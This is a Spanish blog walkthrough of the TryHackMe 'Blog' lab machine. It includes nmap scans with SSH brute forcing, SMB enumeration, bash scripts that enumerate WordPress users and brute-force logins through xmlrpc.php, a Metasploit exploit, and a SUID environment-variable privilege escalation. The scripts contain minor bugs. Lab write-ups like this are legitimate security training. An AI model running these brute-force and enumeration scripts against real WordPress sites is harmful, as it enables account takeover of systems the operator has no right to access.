Inicio Resolución de máquina Blog - TryHackMe
Post
Cancelar

Resolución de máquina Blog - TryHackMe

Introducción

Bienvenidos a mi página y a este post donde veremos como solucionar la máquina Blog de TryHackMe.
La resolución de esta máquina la realizamos con la comunidad de Twitch y va dedicada a nuestro amigo EL MALDITO ;).

Para comenzar, tenemos que agregar la dirección IP de la máquina en nuestro archivo /etc/hosts con el nombre blog.thm.

Resolución

Para realizar un reconocimiento de puertos y servicios utilizamos la siguiente linea de comandos:

1
sudo nmap -Pn -n -p- --open -sSVC --min-rate 4000 blog.thm

Como resultado obtuvimos lo siguiente:

1
2
3
4
5
6
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Comenzando por el puerto 22 probamos el script ssh-brute de nmap para un pequeño ataque de fuerza bruta, sin embargo, no se obtuvieron credenciales válidas:

1
2
3
4
5
6
7
8
9
10
11
nmap -p22 --script ssh-brute blog.thm
.
.
.
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-brute: 
|   Accounts: No valid accounts found
|_  Statistics: Performed 1424 guesses in 602 seconds, average tps: 2.4

Nmap done: 1 IP address (1 host up) scanned in 603.74 seconds

Ahora seguimos con los puertos 139 y 445 que corresponden a SMB por lo cual utilizamos smbclient con una sesión nula para tratar de enumerar los recursos comparitdos y obtenemos lo siguiente:

1
2
3
4
5
smbclient -N -L blog.thm
.
.
.
SHARES

Cuarta y quinta Flag

Ya que tenemos el puerto 80 abierto, ejecutamos whatweb blog.thm para identificar la tecnología utilizada por la página web y podemos ver que se trata de un CMS (Content Management Systems) WorPress en la versión 5.0:

1
http://blog.thm [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.3.160], MetaGenerator[WordPress 5.0], PoweredBy[-wordpress,-wordpress,,WordPress,WordPress,], Script[text/javascript], Title[Billy Joel's IT Blog – The IT blog], UncommonHeaders[link], WordPress[5.0]

Afortunadamente, wordpress cuenta con una API que nos permite gestionar ciertos aspectos a través de Json y podemos aprovecharla en esta máquina para consultar todos los usuarios en http://blog.thm/wp-json/wp/v2/users/.

Explotación

Para explotar el sitio wordpress aprovechando la API escribimos 3 scripts en Bash que realizan lo siguiente:

  1. Enumerar usuarios
  2. Enumerar metodos
  3. Ataque de fuerza bruta

Estos scripts están disponibles en mi repositorio WP-Hacking para su uso y modificación ;)

Scripts realizados

Los siguientes 3 Scripts en bash los fuimos escribiendo y explicando en vivo con la comunidad de Twitch comenzando por getUsers.sh.

getUsers.sh

Para poder usar este script necesitamos ejecutar sudo apt install jq para isntalar jq que nos ayudará a procesar mas fácilmente respuesta Json. Una vez instalado, basta con hacer un ./getUsers.sh blog.thm y el script guardará los usuarios encontrados en un archivo de nombre usuarios-wp.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash

if [[ -z $@ ]]; then
    echo "Modo de uso: $0 HOST"
    exit 1
fi

host="$1"
usuario="A"
i=0
while [[ -n $usuario ]]; do
    usuario=$(curl -s $host/wp-json/wp/v2/users | jq ".[$i][\"slug\"]" | tr -d '"')
    if [[ $usuario == "null" ]]; then
        exit 0  

    elif [[ -z usuario ]]; then
        if [[ -z usuario=$(curl -s "$host/?rest_route=/wp/v2/users" | jq .[$i][\"slug\"] | tr -d '"') ]]; then
            echo "[x] No se encontraron usuarios :c"
            exit 1
        fi
    fi

    echo "[+] Usuario: $usuario"
    echo $usuario >> usuarios-wp.txt
    i=$i+1
done

getMethods.sh

Para este script necesitamos utilizar xmlrpc.php el cual es un sistema que permite actualizaciones remotas a WordPress desde otras aplicaciones, concretamente utilizaremos system.listMethods para listar todos los métodos permitidos, sin embargo, solo nos interesa que esté habilitado wp.getUsersBlogs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash

if [[ -z $@ ]]; then
	echo "Modo de uso: $0 HOST"
	exit 1
fi

host=$1

echo "
<methodCall>
	<methodName>system.listMethods</methodName>
</methodCall>
" > datos.xml

curl -s "$host/xmlrpc.php" -d @$datos_xml
rm datos.xml

Buscando en el cuerpo de la respuesta podemos ver que nuestro método wp.getUsersBlogs está habilitado }:).

bruter.sh

wp.getUsersBlogs nos permite consultar los blogs creados por un usuario específico pero para poder obtenerlos debemos autenticarnos como un usuario válido de WordPress, gracias a getUsers.sh ya debemos tener los usuarios válidos en el archivo usuarios-wp.txt ahora solo resta ejecutar nuestro script y pasarle como parametro el host a atacar y el diccionario pero por defecto utiliza el diccionario de nmap /usr/share/nmap/nselib/data/passwords.lst.

./bruter.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/bash

if [[ -z $@ ]]; then
  echo "Modo de uso: $0 [HOST] [DICCIONARIO]"
fi

host="$1"
dict="$2"

for user in $(cat usuarios-wp.txt); do
	for psw in $(cat $dict); do 
		echo " 
		<methodCall>
			<methodName>wp.getUsersBlogs</methodName>
			<params>
				<param><value>$user</value></param>
				<param><value>$psw</value></param>
				</params>
		</methodCall>
		" > datos.xml
		echo "Probando $user:$psw"

		if [[ ! $(curl -s "$host/xmlrpc.php" -d @"datos.xml" | grep "Incorrect" &)  ]]; then
			echo "[+] $user:$psw"
			rm datos.xml
			exit 0
		fi; wait

		rm datos.xml

	done
done

Una vez que obtuvimos las credenciales podemos iniciar sesión en http://blog.thm/wp-admin/ y lo primero que veremos sera el panel de administración:

wordpress

Después de hacer una exploración podemos ver que no tenemos permisos administrativos, entonces vamos a utilizar searchsploit para buscar un exploit de la versión de wordpress que detectamos y encontramos un exploit de metasploit, lo configuramos y lanzamos para obtener una sesión de meterpreter

metasploit

flag user.txt

Ahora vamos al directorio home del usuario bjoel para obtener la bandera pero el archivo tiene lo siguiente:

user.txt

Ahora buscamos binarios con SUID para escalar privilegios

1
find / -type f -perm -4000 2>/dev/null

Encontramos que checker tiene estos permisos pero al ejecutarlo solo se imprime Not an Admin

Not an Admin

Para analizarlo mejor descargamos el archivo a nuestra maquina y vamos a analizarlo con radare2, encontramos la cadena admin en la dirección 0x722 que es pasada a la función getenv ademaś vemos una comparación a 0 en la dirección 0x737 en decir, si está vacía la variable admin se hará un salto a 0x75a, imprimirá Not an admin y saldrá del programa.

radare2

Para configurar la variable admin solo hacemos un export admin=loqueseaxd ya que solo necesita estar configurada y después ejecutamos checker de nuevo para obtener una shell de root.

Bandera 1, 2 y 3

export admin

Ahora con permisos de root buscamos la bandera user.txt:

1
find / -type f -name user.txt 2>/dev/null

Y terminamos con la bandera root.txt en /root/

Conclusiones

Así terminamos con esta máquina, espero les haya gustado y les haya sido util, nos vemos en otro post ;)

This post is licensed under CC BY 4.0 by the author.